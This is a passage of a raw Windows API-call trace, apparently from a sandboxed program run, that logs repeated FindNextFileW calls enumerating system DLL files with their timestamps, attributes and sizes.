ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0169.471] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cmcfg32.dll", 